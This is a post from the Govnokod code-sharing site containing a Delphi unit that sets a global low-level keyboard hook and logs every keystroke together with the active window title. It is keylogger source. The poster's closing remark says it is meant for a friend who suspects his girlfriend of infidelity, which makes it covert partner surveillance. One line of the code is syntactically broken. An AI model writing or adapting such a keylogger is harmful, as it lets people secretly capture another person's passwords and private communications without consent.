1. Pascal / Говнокод #24859

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    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    Запостил: BagorCtretora, 04 Октября 2018

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